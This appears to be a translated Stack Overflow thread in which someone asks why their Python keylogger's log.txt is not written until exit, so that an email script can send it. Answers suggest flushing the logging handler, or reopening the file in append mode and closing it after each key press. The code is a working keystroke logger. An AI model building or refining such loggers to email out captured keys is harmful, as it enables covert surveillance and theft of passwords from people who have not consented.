繁体   English   中英

如何保存它,以便电子邮件脚本可以读取/发送它?

[英]How can I save it so the e-mail script can read/send it?

我想将log.txt发送到电子邮件。 电子邮件部分有效,但是此记录器未保存文件。 它仅在退出时保存。 因此,它一直在写作。 每次按键后我都插入了f.write,但是没有用。

如果您能帮助我,我将不胜感激。

问题是:如何保存它,以便电子邮件脚本可以读取/发送它?

代码是:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

您需要刷新缓冲区。 尝试

logging.getLogger().handlers[0].flush()

每次写完之后。

将某些内容写入文本文件后尝试关闭该文本文件

f.close()

我也建议用a+将其打开以附加文件

所以像这样:

log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')
#f = open('log.txt', 'w')

def on_press(key):
    f = open('log.txt', 'a+')
    logging.info(str(key))
    f.write("Put stuff here that you want written to a file")
    f.close()

with Listener(on_press=on_press) as listener:
    listener.join()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM